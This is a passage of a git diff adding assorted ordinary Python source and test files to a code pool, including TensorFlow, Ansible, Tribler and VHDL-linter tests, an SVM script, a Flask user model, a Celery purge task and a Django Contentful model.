ensureElectionsDone(looper=looper, nodes=txnPoolNodeSet) + ensure_all_nodes_have_same_data(looper, txnPoolNodeSet) diff --git a/pool/shard009/Python/0084136_picklegzip.py b/pool/shard009/Python/0084136_picklegzip.py new file mode 100644 index 0000000000000000000000000000000000000000..f16796929c8a55d76df8ece98ad03d420db7906b --- /dev/null +++ b/pool/shard009/Python/0084136_picklegzip.py @@ -0,0 +1,21 @@ +import pickle +import gzip + + +def dump(object, filename, protocol=-1): + """Save an object to a compressed disk file. + Works well with huge objects. + """ + file = gzip.GzipFile(filename, 'wb') + pickle.dump(object, file, protocol) + file.close() + + +def load(filename): + """Loads a compressed object from disk. + """ + file = gzip.GzipFile(filename, 'rb') + object = pickle.load(file) + file.close() + + return object diff --git a/pool/shard009/Python/0084137_gather_nd_op_test.py b/pool/shard009/Python/0084137_gather_nd_op_test.py new file mode 100644 index 0000000000000000000000000000000000000000..23b0aed34fb460f50c241e5a920cb4f6f613b947 --- /dev/null +++ b/pool/shard009/Python/0084137_gather_nd_op_test.py @@ -0,0 +1,147 @@ +# Copyright 2018 The TensorFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# ============================================================================== +"""Tests for tensorflow.ops.tf.gather_nd.""" + +from __future__ import absolute_import +from __future__ import division +from __future__ import print_function + +import numpy as np + +from tensorflow.compiler.tests import xla_test +from tensorflow.python.framework import errors +from tensorflow.python.ops import array_ops +from tensorflow.python.platform import test + + +class GatherNdTest(xla_test.XLATestCase): + + def _runGather(self, params, indices): + with self.test_session(): + paramsp = array_ops.placeholder(params.dtype) + indicesp = array_ops.placeholder(indices.dtype) + with self.test_scope(): + gather_nd_t = array_ops.gather_nd(paramsp, indicesp) + feed_dict = {paramsp: params, indicesp: indices} + return gather_nd_t.eval(feed_dict=feed_dict) + + def testSimpleDtype(self): + for dtype in self.numeric_types: + self.assertAllEqual( + np.array([7, 7, 8], dtype=dtype), + self._runGather( + np.array([8, 1, 2, 3, 7, 5], dtype=dtype), + np.array([[4], [4], [0]], np.int32))) + + def testEmptyIndicesAndParamsOKButJustEmptyParamsFails(self): + with self.test_session(): + params = np.ones((3, 3), dtype=np.float32) + + indices_empty = np.empty((0, 2), dtype=np.int32) + gather_nd_ok_val = self._runGather(params, indices_empty) + self.assertAllClose(np.empty((0,), dtype=np.float32), gather_nd_ok_val) + + indices_empty = np.empty((0, 1), dtype=np.int32) + gather_nd_ok_val = self._runGather(params, indices_empty) + self.assertAllClose(np.empty((0, 3), dtype=np.float32), gather_nd_ok_val) + + params_empty = np.empty((0, 3), dtype=np.float32) + indices_empty = np.empty((0, 2), dtype=np.int32) + gather_nd_ok_val = self._runGather(params_empty, indices_empty) + self.assertAllClose(np.empty((0,), dtype=np.float32), gather_nd_ok_val) + + params_empty = np.empty((0, 3), dtype=np.float32) + indices_nonempty = np.zeros((1, 2), dtype=np.int32) + with self.assertRaisesWithPredicateMatch( + errors.InvalidArgumentError, r"Gather dimension 0 is of size zero"): + self._runGather(params_empty, indices_nonempty) + + def testIndexScalar(self): + params = np.array( + [[-8, -1, -2, -3, -7, -5], [8, 1, 2, 3, 7, 5]], dtype=np.float32).T + indices = np.array([4, 1], dtype=np.int32) + gather_nd_val = self._runGather(params, indices) + self.assertAllEqual(np.array(7), gather_nd_val) + + def testParamsRankLargerThanIndexIndexScalarSlices(self): + params = np.array( + [[-8, -1, -2, -3, -7, -5], [8, 1, 2, 3, 7, 5]], dtype=np.float32).T + indices = np.array( + [ + 4, + ], dtype=np.int32) + gather_nd_val = self._runGather(params, indices) + self.assertAllEqual(np.array([-7, 7]), gather_nd_val) + + def testParamsRankLargerThanIndexSlices(self): + params = np.array( + [[-8, -1, -2, -3, -7, -5], [8, 1, 2, 3, 7, 5]], dtype=np.float32).T + indices = np.array([[4], [4], [0]], np.int32) + gather_nd_val = self._runGather(params, indices) + self.assertAllEqual(np.array([[-7, 7], [-7, 7], [-8, 8]]), gather_nd_val) + + def testHigherRankParamsLargerThanIndexSlices(self): + params = np.array( + [[[-8, -1, -2, -3, -7, -5], [8, 1, 2, 3, 7, 5]], + [[-80, -10, -20, -30, -70, -50], [80, 10, 20, 30, 70, 50]]], + dtype=np.float32).T + indices = np.array([[4], [4], [0]], np.int32) + gather_nd_val = self._runGather(params, indices) + self.assertAllEqual(params[[4, 4, 0]], gather_nd_val) + + def testEmptyIndicesLastRankMeansCopyEntireTensor(self): + params = np.array( + [[[-8, -1, -2, -3, -7, -5], [8, 1, 2, 3, 7, 5]], + [[-80, -10, -20, -30, -70, -50], [80, 10, 20, 30, 70, 50]]], + dtype=np.float32).T + indices = np.array([[], []], dtype=np.int32) # Size (2, 0) + gather_nd_val = self._runGather(params, indices) + self.assertAllEqual( + np.vstack((params[np.newaxis, :], params[np.newaxis, :])), + gather_nd_val) + + def testHigherRankParamsAndIndicesLargerThanIndexSlices(self): + params = np.array( + [[[-8, -1, -2, -3, -7, -5], [8, 1, 2, 3, 7, 5]], + [[-80, -10, -20, -30, -70, -50], [80, 10, 20, 30, 70, 50]]], + dtype=np.float32).T + indices = np.array([[[3], [2], [1]], [[4], [4], [0]]], np.int32) + gather_nd_val = self._runGather(params, indices) + self.assertAllEqual(params[[3, 2, 1, 4, 4, 0]].reshape(2, 3, 2, 2), + gather_nd_val) + + def testHigherRankParams(self): + shape = (10, 20, 5, 1, 17) + params = np.random.rand(*shape).astype(np.float32) + indices = np.vstack( + [np.random.randint(0, s, size=2000, dtype=np.int32) for s in shape]).T + gather_nd_val = self._runGather(params, indices) + + expected = params[tuple(indices.T)] + self.assertAllEqual(expected, gather_nd_val) + + def testHigherRankParamsAndIndices(self): + shape = (10, 20, 5, 1, 17) + params = np.random.rand(*shape).astype(np.float32) + indices = np.vstack( + [np.random.randint(0, s, size=2000, dtype=np.int32) for s in shape]).T + indices_reshaped = indices.reshape([10, 10, 20, 5]) + gather_nd_val = self._runGather(params, indices_reshaped) + expected = params[tuple(indices.T)] + self.assertAllEqual(expected.reshape([10, 10, 20]), gather_nd_val) + + +if __name__ == "__main__": + test.main() diff --git a/pool/shard009/Python/0084141_svm.py b/pool/shard009/Python/0084141_svm.py new file mode 100644 index 0000000000000000000000000000000000000000..16659e2d193148547ea4510daf5f2e99ff14d38c --- /dev/null +++ b/pool/shard009/Python/0084141_svm.py @@ -0,0 +1,127 @@ +# -*- coding: utf-8 -*- +from __future__ import division #division en flottants par défaut +import sys +import numpy as np +import random +import os, pickle +import plot +import kernel_perceptron as kp + +# http://stackoverflow.com/questions/17784587/gradient-descent-using-python-and-numpy-machine-learning + +def testDef(x): + return False + +class LossFun: + def __init__(self, lf, grad): + self.lossFun = lf + self.grad = grad + +def hinge(x): + return max(0,1-x) + +def HingeLoss(xi,yi,w): # b est la dernière coordonnée de w + return hinge(yi * (np.dot(w[:-1],xi) + w[-1])) + + +def HLgrad(xi,yi,w,eps): + evalfxi = yi * (np.dot(w[:-1],xi) + w[-1]) + delta = evalfxi - 1 + if delta > eps: + res = np.zeros(shape=len(w)) + elif delta < -eps: + res = (-yi)*(np.concatenate([xi,np.array([1])])) + else: + res = (-yi/2.)*(np.concatenate([xi,np.array([1])])) + # print "res de HLGrad : ", res, "sur ", xi, yi, w + return(res) + +L = LossFun(HingeLoss,HLgrad) + +def sgd(x,y,w,Tmax,eta,L,eps,test=testDef): + eta1 = eta + t = 1 + theta = 0 + while(t <= Tmax and not(test(x))): + lossGrads = np.array([L.grad(x[i],y[i],w,eps) for i in xrange(len(x))]) + v = np.add (np.concatenate([w[:-1],np.array([0])]),lossGrads.sum(axis=0)/(len(x))) + eta = eta1 / np.sqrt(t) + w = np.subtract(w,eta * v) + t = t+1 + theta = np.add(theta,w) + res = theta / (t) + return(res) + +def genData(averages,N): + x = np.zeros(shape=(2,N,2)) + y = np.concatenate ([np.ones(shape=N), ((-1) * np.ones(shape=N))]) + for c in [0,1]: + for i in xrange(N): + for j in [0,1]: + x[c][i][j] = averages[c] + random.uniform(-1,1) + res = (np.concatenate([x[0],x[1]]),y) + return res + +file = "data" +curdir = os.path.dirname(os.path.realpath(__file__))+"/" + +try: + sampleSize = int(sys.argv[1]) +except IndexError: + sampleSize = 50 + +averages = [1,5] + +if os.path.isfile(curdir+file): + f = open(curdir+file,'r+') + (x,y,size) = pickle.load(f) + if size<>sampleSize: + print 'Taille de l\'echantillon : ', sampleSize + f.truncate() + (x,y) = genData(averages,sampleSize) + pickle.dump((x,y,sampleSize),f) + f.close() +else: + f = open(curdir+file,'w+') + (x,y) = genData(averages,sampleSize) + pickle.dump((x,y,sampleSize),f) + f.close() + +iterations = 400 +w = sgd(x,y,np.zeros(len(x[0])+1),iterations,1,L,0.01) +# print "w",w + +def classify(xi,w): + return np.sign(np.dot(w[:-1],xi) + w[-1]) +def printClassify(xi,w): + return (np.dot(w[:-1],xi) + w[-1]) + + +def testClassification(sampleSize,x,y,w): + goodC = 0 + badC = 0 + for i in xrange(2*sampleSize): +# print classify(x[i],w),y[i] +# print "valeur: ", printClassify(x[i],w) + if classify(x[i],w)==y[i]: + goodC +=1 + else: + badC += 1 +# print "Good : ", goodC +# print "Bad : ", badC + print "rate : ", goodC/sampleSize/2 + plot.plot(x, y, w[:-1], w[-1]) + +# w[2] = 0.7 +# testClassification(sampleSize,x,y,w) +# print x +# print y +# print w + +k = np.dot +w2 = kp.ker_perceptron(x, y, k) +w3 = 0 +for i in xrange(len(x)): + w3 = np.add(w3, w2[i] * x[i]) +b = np.sum([w2[i] for i in xrange(len(w2))]) +plot.plot(x,y,w3,b) diff --git a/pool/shard009/Python/0084147_test_search_community.py b/pool/shard009/Python/0084147_test_search_community.py new file mode 100644 index 0000000000000000000000000000000000000000..619bb8266b2168dc1b70df57c70e3ea5bd57756b --- /dev/null +++ b/pool/shard009/Python/0084147_test_search_community.py @@ -0,0 +1,89 @@ +import os + +from nose.tools import raises +from twisted.internet.defer import inlineCallbacks + +from Tribler.Test.Community.AbstractTestCommunity import AbstractTestCommunity +from Tribler.Test.Core.base_test import MockObject +from Tribler.Test.common import TESTS_DATA_DIR +from Tribler.community.search.community import SearchCommunity +from Tribler.community.search.conversion import SearchConversion +from Tribler.dispersy.message import DropPacket + + +class TestSearchCommunity(AbstractTestCommunity): + + @inlineCallbacks + def setUp(self): + yield super(TestSearchCommunity, self).setUp() + self.search_community = SearchCommunity(self.dispersy, self.master_member, self.member) + + @inlineCallbacks + def tearDown(self): + self.search_community.cancel_all_pending_tasks() + yield super(TestSearchCommunity, self).tearDown() + + def test_on_search(self): + """ + Test whether we are creating a search response when we receive a search request + """ + def log_incoming_searches(sock_addr, keywords): + log_incoming_searches.called = True + + log_incoming_searches.called = False + + def create_search_response(id, results, candidate): + create_search_response.called = True + self.assertEqual(id, "abc") + self.assertEqual(results, []) + self.assertEqual(candidate.sock_addr, "1234") + + create_search_response.called = False + + def search_names(keywords, local=False, keys=None): + return [] + + self.search_community._torrent_db = MockObject() + self.search_community._torrent_db.searchNames = search_names + + fake_message = MockObject() + fake_message.candidate = MockObject() + fake_message.candidate.sock_addr = "1234" + fake_message.payload = MockObject() + fake_message.payload.keywords = "test" + fake_message.payload.identifier = "abc" + + self.search_community._create_search_response = create_search_response + self.search_community.log_incoming_searches = log_incoming_searches + self.search_community.on_search([fake_message]) + + self.assertTrue(log_incoming_searches.called) + self.assertTrue(create_search_response.called) + + @raises(DropPacket) + def test_decode_response_invalid(self): + """ + Test whether decoding an invalid search response does not crash the program + """ + self.search_community._initialize_meta_messages() + search_conversion = SearchConversion(self.search_community) + search_conversion._decode_search_response(None, 0, "a[]") + + def test_create_torrent(self): + """ + Test the creation of a torrent in the search community + """ + with open(os.path.join(TESTS_DATA_DIR, "bak_single.torrent"), mode='rb') as torrent_file: + torrent_data = torrent_file.read() + + mock_session = MockObject() + mock_session.get_collected_torrent = lambda _: torrent_data + mock_session.open_dbhandler = lambda _: None + mock_session.notifier = None + mock_session.lm = MockObject() + mock_session.lm.rtorrent_handler = None + + self.search_community.initialize(mock_session) + self.search_community._torrent_db = MockObject() + self.search_community._torrent_db.updateTorrent = lambda *_, **ignored: None + self.assertTrue(self.search_community.create_torrent('a' * 20)) diff --git a/pool/shard009/Python/0084148_test_rule_008.py b/pool/shard009/Python/0084148_test_rule_008.py new file mode 100644 index 0000000000000000000000000000000000000000..1f211b890f5dd241e974c99309d4b72e5166b583 --- /dev/null +++ b/pool/shard009/Python/0084148_test_rule_008.py @@ -0,0 +1,45 @@ + +import os +import unittest + +from vsg.rules import if_statement +from vsg import vhdlFile +from vsg.tests import utils + +sTestDir = os.path.dirname(__file__) + +lFile, eError =vhdlFile.utils.read_vhdlfile(os.path.join(sTestDir,'rule_008_test_input.vhd')) + +lExpected = [] +lExpected.append('') +utils.read_file(os.path.join(sTestDir, 'rule_008_test_input.fixed.vhd'), lExpected) + + +class test_if_statement_rule(unittest.TestCase): + + def setUp(self): + self.oFile = vhdlFile.vhdlFile(lFile) + self.assertIsNone(eError) + + def test_rule_008(self): + oRule = if_statement.rule_008() + self.assertTrue(oRule) + self.assertEqual(oRule.name, 'if') + self.assertEqual(oRule.identifier, '008') + + lExpected = [45, 49, 60] + + oRule.analyze(self.oFile) + self.assertEqual(lExpected, utils.extract_violation_lines_from_violation_object(oRule.violations)) + + def test_fix_rule_008(self): + oRule = if_statement.rule_008() + + oRule.fix(self.oFile) + + lActual = self.oFile.get_lines() + + self.assertEqual(lExpected, lActual) + + oRule.analyze(self.oFile) + self.assertEqual(oRule.violations, []) diff --git a/pool/shard009/Python/0084154_test_copy.py b/pool/shard009/Python/0084154_test_copy.py new file mode 100644 index 0000000000000000000000000000000000000000..ff8f03818eb745af2ed488c85ee76eaf8a525e05 --- /dev/null +++ b/pool/shard009/Python/0084154_test_copy.py @@ -0,0 +1,215 @@ +# -*- coding: utf-8 -*- +# Copyright: +# (c) 2018 Ansible Project +# License: GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt) + +# Make coding more python3-ish +from __future__ import (absolute_import, division) +__metaclass__ = type + +import pytest + +from ansible.modules.files.copy import AnsibleModuleError, split_pre_existing_dir + +from ansible.module_utils.basic import AnsibleModule + + +THREE_DIRS_DATA = (('/dir1/dir2', + # 0 existing dirs: error (because / should always exist) + None, + # 1 existing dir: + ('/', ['dir1', 'dir2']), + # 2 existing dirs: + ('/dir1', ['dir2']), + # 3 existing dirs: + ('/dir1/dir2', []) + ), + ('/dir1/dir2/', + # 0 existing dirs: error (because / should always exist) + None, + # 1 existing dir: + ('/', ['dir1', 'dir2']), + # 2 existing dirs: + ('/dir1', ['dir2']), + # 3 existing dirs: + ('/dir1/dir2', []) + ), + ) + + +TWO_DIRS_DATA = (('dir1/dir2', + # 0 existing dirs: + ('.', ['dir1', 'dir2']), + # 1 existing dir: + ('dir1', ['dir2']), + # 2 existing dirs: + ('dir1/dir2', []), + # 3 existing dirs: Same as 2 because we never get to the third + ), + ('dir1/dir2/', + # 0 existing dirs: + ('.', ['dir1', 'dir2']), + # 1 existing dir: + ('dir1', ['dir2']), + # 2 existing dirs: + ('dir1/dir2', []), + # 3 existing dirs: Same as 2 because we never get to the third + ), + ('/dir1', + # 0 existing dirs: error (because / should always exist) + None, + # 1 existing dir: + ('/', ['dir1']), + # 2 existing dirs: + ('/dir1', []), + # 3 existing dirs: Same as 2 because we never get to the third + ), + ('/dir1/', + # 0 existing dirs: error (because / should always exist) + None, + # 1 existing dir: + ('/', ['dir1']), + # 2 existing dirs: + ('/dir1', []), + # 3 existing dirs: Same as 2 because we never get to the third + ), + ) + THREE_DIRS_DATA + + +ONE_DIR_DATA = (('dir1', + # 0 existing dirs: + ('.', ['dir1']), + # 1 existing dir: + ('dir1', []), + # 2 existing dirs: Same as 1 because we never get to the third + ), + ('dir1/', + # 0 existing dirs: + ('.', ['dir1']), + # 1 existing dir: + ('dir1', []), + # 2 existing dirs: Same as 1 because we never get to the third + ), + ) + TWO_DIRS_DATA + + +@pytest.mark.parametrize('directory, expected', ((d[0], d[4]) for d in THREE_DIRS_DATA)) +def test_split_pre_existing_dir_three_levels_exist(directory, expected, mocker): + mocker.patch('os.path.exists', side_effect=[True, True, True]) + split_pre_existing_dir(directory) == expected + + +@pytest.mark.parametrize('directory, expected', ((d[0], d[3]) for d in TWO_DIRS_DATA)) +def test_split_pre_existing_dir_two_levels_exist(directory, expected, mocker): + mocker.patch('os.path.exists', side_effect=[True, True, False]) + split_pre_existing_dir(directory) == expected + + +@pytest.mark.parametrize('directory, expected', ((d[0], d[2]) for d in ONE_DIR_DATA)) +def test_split_pre_existing_dir_one_level_exists(directory, expected, mocker): + mocker.patch('os.path.exists', side_effect=[True, False, False]) + split_pre_existing_dir(directory) == expected + + +@pytest.mark.parametrize('directory', (d[0] for d in ONE_DIR_DATA if d[1] is None)) +def test_split_pre_existing_dir_root_does_not_exist(directory, mocker): + mocker.patch('os.path.exists', return_value=False) + with pytest.raises(AnsibleModuleError) as excinfo: + split_pre_existing_dir(directory) + assert excinfo.value.results['msg'].startswith("The '/' directory doesn't exist on this machine.") + + +@pytest.mark.parametrize('directory, expected', ((d[0], d[1]) for d in ONE_DIR_DATA if not d[0].startswith('/'))) +def test_split_pre_existing_dir_working_dir_exists(directory, expected, mocker): + mocker.patch('os.path.exists', return_value=False) + split_pre_existing_dir(directory) == expected + + +# +# Info helpful for making new test cases: +# +# base_mode = {'dir no perms': 0o040000, +# 'file no perms': 0o100000, +# 'dir all perms': 0o400000 | 0o777, +# 'file all perms': 0o100000, | 0o777} +# +# perm_bits = {'x': 0b001, +# 'w': 0b010, +# 'r': 0b100} +# +# role_shift = {'u': 6, +# 'g': 3, +# 'o': 0} + +DATA = ( # Going from no permissions to setting all for user, group, and/or other + (0o040000, u'a+rwx', 0o0777), + (0o040000, u'u+rwx,g+rwx,o+rwx', 0o0777), + (0o040000, u'o+rwx', 0o0007), + (0o040000, u'g+rwx', 0o0070), + (0o040000, u'u+rwx', 0o0700), + + # Going from all permissions to none for user, group, and/or other + (0o040777, u'a-rwx', 0o0000), + (0o040777, u'u-rwx,g-rwx,o-rwx', 0o0000), + (0o040777, u'o-rwx', 0o0770), + (0o040777, u'g-rwx', 0o0707), + (0o040777, u'u-rwx', 0o0077), + + # now using absolute assignment from None to a set of perms + (0o040000, u'a=rwx', 0o0777), + (0o040000, u'u=rwx,g=rwx,o=rwx', 0o0777), + (0o040000, u'o=rwx', 0o0007), + (0o040000, u'g=rwx', 0o0070), + (0o040000, u'u=rwx', 0o0700), + + # X effect on files and dirs + (0o040000, u'a+X', 0o0111), + (0o100000, u'a+X', 0), + (0o040000, u'a=X', 0o0111), + (0o100000, u'a=X', 0), + (0o040777, u'a-X', 0o0666), + # Same as chmod but is it a bug? + # chmod a-X statfile <== removes execute from statfile + (0o100777, u'a-X', 0o0666), + + # Multiple permissions + (0o040000, u'u=rw-x+X,g=r-x+X,o=r-x+X', 0o0755), + (0o100000, u'u=rw-x+X,g=r-x+X,o=r-x+X', 0o0644), +) + +UMASK_DATA = ( + (0o100000, '+rwx', 0o770), + (0o100777, '-rwx', 0o007), +) + +INVALID_DATA = ( + (0o040000, u'a=foo', "bad symbolic permission for mode: a=foo"), + (0o040000, u'f=rwx', "bad symbolic permission for mode: f=rwx"), +) + + +@pytest.mark.parametrize('stat_info, mode_string, expected', DATA) +def test_good_symbolic_modes(mocker, stat_info, mode_string, expected): + mock_stat = mocker.MagicMock() + mock_stat.st_mode = stat_info + assert AnsibleModule._symbolic_mode_to_octal(mock_stat, mode_string) == expected + + +@pytest.mark.parametrize('stat_info, mode_string, expected', UMASK_DATA) +def test_umask_with_symbolic_modes(mocker, stat_info, mode_string, expected): + mock_umask = mocker.patch('os.umask') + mock_umask.return_value = 0o7 + + mock_stat = mocker.MagicMock() + mock_stat.st_mode = stat_info + + assert AnsibleModule._symbolic_mode_to_octal(mock_stat, mode_string) == expected + + +@pytest.mark.parametrize('stat_info, mode_string, expected', INVALID_DATA) +def test_invalid_symbolic_modes(mocker, stat_info, mode_string, expected): + mock_stat = mocker.MagicMock() + mock_stat.st_mode = stat_info + with pytest.raises(ValueError) as exc: + assert AnsibleModule._symbolic_mode_to_octal(mock_stat, mode_string) == 'blah' + assert exc.match(expected) diff --git a/pool/shard009/Python/0084155_leda.py b/pool/shard009/Python/0084155_leda.py new file mode 100644 index 0000000000000000000000000000000000000000..7c829d9590555265cfa8276cb66c59e33dde5a85 --- /dev/null +++ b/pool/shard009/Python/0084155_leda.py @@ -0,0 +1,84 @@ +import threading +import time +import signal + + +class Leda: + """Handles Timing, data capture and logging""" + + def __init__(self, camera_obj, cam_period, uart_obj, serial_period, gps_obj, logger_obj, debug_obj): + + # assign capture periods + self.cam = camera_obj + self.cam_period = cam_period + + self.uart = uart_obj + self.serial_period = serial_period + + self.gps = gps_obj + + self.log = logger_obj + self.log.open() + + self.debug = debug_obj + self.debug.open() + + self.kill_now = False + + signal.signal(signal.SIGINT, self.exit_gracefully) + signal.signal(signal.SIGTERM, self.exit_gracefully) + + def exit_gracefully(self, signum, frame): + self.kill_now = True + + def log_data(self, timestamp): + self.debug.write("Logging data") + # get sensor data from uart + sensor_data = self.uart.capture() + gps_data = self.gps.capture() + + if sensor_data == False: + self.uart.reset() + self.debug.write("Bad data from daughter board") + else: + self.log.append(','.join(gps_data) + "," + sensor_data, timestamp) + self.debug.write("Daughter board data captured") + + def take_picture(self, time): + self.debug.write("Taking picture") + self.cam.capture(time) + + # requires tasks to finish in their allotted time + def infinite_loop(self): + self.debug.write("Successfully launched") + + self.gps.wait() + + tick = 1 + while True: + + if self.kill_now: + self.debug.write("Quitting") + self.log.close() + self.uart.close() + self.debug.close() + break + + # monotonic clock will not change as system time changes + begin = time.clock_gettime(time.CLOCK_MONOTONIC) + # system time can be converted to date/time stamp + stamp = time.time() + t1 = threading.Thread(target=self.log_data, args=(stamp,)) + t1.start() + + if tick >= self.cam_period: + tick = 1 + t2 = threading.Thread(target=self.take_picture, args=(begin,)) + t2.start() + else: + tick = tick + 1 + + delta = time.clock_gettime(time.CLOCK_MONOTONIC) - begin + + if self.serial_period > delta: + time.sleep(self.serial_period - delta) diff --git a/pool/shard009/Python/0084158_tasks.py b/pool/shard009/Python/0084158_tasks.py new file mode 100644 index 0000000000000000000000000000000000000000..6df51dfda327e2568ad11f88930764372825224c --- /dev/null +++ b/pool/shard009/Python/0084158_tasks.py @@ -0,0 +1,46 @@ +import json +try: + from urllib.parse import urlparse + from urllib.parse import quote +except ImportError: + from urlparse import urlparse + from urllib import quote + +from celery import shared_task +try: + import pika + DO_TASK = True +except ImportError: + DO_TASK = False + +from django.conf import settings + + +@shared_task(max_retries=3, ignore_result=True) +def broadcast_purge(path, headers=None): + if not DO_TASK: + raise RuntimeError("Library pika>=0.11,<1.0 not found") + + try: + url = settings.ULTRACACHE["rabbitmq-url"] + except (AttributeError, KeyError): + # Use same host as celery. Pika requires the path to be url + # encoded. A typical broker URL setting remains effectively + # unchanged but as soon as sub-paths are encountered this encoding + # becomes necessary. + parsed = urlparse(settings.CELERY_BROKER_URL) + url = "%s://%s/%s" % ( + parsed.scheme, + parsed.netloc, + quote(parsed.path[1:], safe="") + ) + connection = pika.BlockingConnection(pika.URLParameters(url)) + channel = connection.channel() + channel.exchange_declare(exchange="purgatory", exchange_type="fanout") + channel.basic_publish( + exchange="purgatory", + routing_key="", + body=json.dumps({"path": path, "headers": headers or {}}) + ) + connection.close() + return True diff --git a/pool/shard009/Python/0084161_user.py b/pool/shard009/Python/0084161_user.py new file mode 100644 index 0000000000000000000000000000000000000000..cf74f83c04f6ca900d370471927c0961bc98a798 --- /dev/null +++ b/pool/shard009/Python/0084161_user.py @@ -0,0 +1,64 @@ +import logging + +from app import db, bcrypt +import datetime + +class User(db.Model): + __tablename__ = 'users' + + id = db.Column(db.Integer, primary_key=True) + username = db.Column(db.String(80), unique=True) + created_date = db.Column(db.DateTime, default=datetime.datetime.utcnow) + last_active_date = db.Column(db.DateTime, default=datetime.datetime.utcnow) + password_hash = db.Column(db.String(60)) + + def __init__(self, username): + self.username = username + + def __repr__(self): + return '' % (self.id, self.username) + + def authenticate(self, password, UserSession): + u = User.query.filter_by(username=self.username).first() + if(u == None): + return None + + if bcrypt.check_password_hash(u.password_hash, password): + return self.generate_session(UserSession) + + return None + + def generate_session(self, UserSession): + session = UserSession(self.id) + session.commit() + return session.hash + + @classmethod + def session_in_user(cls, user_id, session_hash, UserSession): + user = cls.query.get(user_id) + if user is not None: + s = UserSession.query.filter_by(user_id=user.id, hash=session_hash).first() + if s is not None: + user.update_last_active_date() + return True + else: + logging.info("Username with id=%r does not exist.") % user_id + return False + + def remove_session(self, hash, UserSession): + s = UserSession.query.filter_by(hash=hash).first() + if s is not None: + db.session.delete(s) + db.session.commit() + return True + return False + + def register(self, password, UserSession): + self.password_hash = bcrypt.generate_password_hash(password) + db.session.add(self) + db.session.commit() + return self.generate_session(UserSession) + + def update_last_active_date(self): + self.last_active_date = datetime.datetime.utcnow() + db.session.commit() diff --git a/pool/shard009/Python/0084162_data_filegrab.py b/pool/shard009/Python/0084162_data_filegrab.py new file mode 100644 index 0000000000000000000000000000000000000000..a26cacd69ba207b04897733f4d70a509c726bcb2 --- /dev/null +++ b/pool/shard009/Python/0084162_data_filegrab.py @@ -0,0 +1,93 @@ +# -*- coding: utf-8 -*- +""" +Created on Thu May 5 12:41:29 2016 + +@author: eman +""" +import os +import scipy.io +import spectral.io.envi as envi +import numpy as np +import pickle + +def get_hsi(datatype='vcu', system='linux'): + + + + + # defining which system I am currently in + if system in ['linux']: + + path = "/media/eman/STORAGE_DRIVE/Documents/code/" + \ + "coding_projects/data/hsi/vcu/" + else: + raise ValueError('Sorry, need a system data path.') + + try: + return load_hsi(system=system) + except: + print('No hsi data found. Loading data...') + # defining which dataset I would like to acquire + if datatype in ['vcu', 'VCU']: + imga = '400m_subseta.img' # subset image a + imgb = '2000m_subseta.img' # subset image b + hdra = '400m_subseta.hdr' # subset image a hdr + hdrb = '2000m_subseta.hdr' # subset image b hdr + imggta = '400m_classmap.img' # subset image gt a + imggtb = '2000m_classmap.img' # subset image gt b + hdrgta = '400m_classmap.hdr' # subset image gt hdr a + hdrgtb = '2000m_classmap.hdr' # subset image gt hdr b + + else: + raise ValueError('Sorry, Need a dataset.') + + # changing the paths + current_path = os.getcwd() + os.chdir(path) + + + # get data + img1 = envi_to_array(imga, hdra) + img2 = envi_to_array(imgb, hdrb) + gt1 = envi_to_array(imggta, hdrgta) + gt2 = envi_to_array(imggtb, hdrgtb) + + img_data = {'img1': img1, 'img2': img2, 'gt1': gt1, 'gt2': gt2} + + pickle.dump(img_data, open('save.p', 'w')) + + + # change back to the current path + os.chdir(current_path) + + return img1, img2, gt1, gt2 + + + + +def load_hsi(system='linux'): + + if system in ['linux']: + path = "/media/eman/STORAGE_DRIVE/Documents/code/" + \ + "coding_projects/data/hsi/vcu/" + else: + raise ValueError('Sorry, need a system data path.') + + # changing the paths + current_path = os.getcwd() + os.chdir(path) + + img_data = pickle.load( open('save.p', 'r')) + + # change back to the current path + os.chdir(current_path) + + return img_data + +def envi_to_array(img, hdr): + + img = envi.open(hdr, img) + + return img.read_bands(np.arange(img.shape[2])) + + \ No newline at end of file diff --git a/pool/shard009/Python/0084169_models.py b/pool/shard009/Python/0084169_models.py new file mode 100644 index 0000000000000000000000000000000000000000..5e408687b67c22a5ae1cbc3eff9c31c3e03c08df --- /dev/null +++ b/pool/shard009/Python/0084169_models.py @@ -0,0 +1,138 @@ +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, You can obtain one at https://mozilla.org/MPL/2.0/. + +from django.db import models +from django.db.models.query_utils import Q +from django.utils.timezone import now + +from django_extensions.db.fields.json import JSONField + +from bedrock.contentful.constants import CONTENT_TYPE_CONNECT_HOMEPAGE + + +class ContentfulEntryManager(models.Manager): + """ + The key distinction here is that get_page_* returns a JSONDict of page data, while + get_entry_* and get_entries_* returns a QuerySet of ContentfulEntry records. + """ + + def get_page_by_id(self, content_id): + return self.get(contentful_id=content_id).data + + def get_entry_by_slug(self, slug, locale, content_type, classification=None): + kwargs = dict( + slug=slug, + locale=locale, + content_type=content_type, + ) + if classification: + kwargs["classification"] = classification + return self.get(**kwargs) + + def get_page_by_slug(self, slug, locale, content_type, classification=None): + # Thin wrapper that gets back only the JSON data + return self.get_entry_by_slug( + slug, + locale, + content_type, + classification, + ).data + + def get_entries_by_type( + self, + content_type, + locale, + classification=None, + order_by="last_modified", + ): + """Get multiple appropriate ContentfulEntry records, not just the JSON data. + + Args: + content_type (str): the Contentful content type + locale (str): eg 'fr', 'en-US' + classification ([str], optional): specific type of content, used when have + a single content_type used for different areas of the site. Defaults to None. + order_by (str, optional): Sorting key for the queryset. Defaults to "last_modified". + + Returns: + QuerySet[ContentfulEntry]: the main ContenfulEntry models, not just their JSON data + """ + + kwargs = dict( + content_type=content_type, + locale=locale, + ) + if classification: + kwargs["classification"] = classification + + return self.filter(**kwargs).order_by(order_by) + + def get_homepage(self, locale): + return self.get( + content_type=CONTENT_TYPE_CONNECT_HOMEPAGE, + locale=locale, + ).data + + +class ContentfulEntry(models.Model): + contentful_id = models.CharField(max_length=20, unique=True) + content_type = models.CharField(max_length=20) + locale = models.CharField(max_length=5) + last_modified = models.DateTimeField(default=now) + url_base = 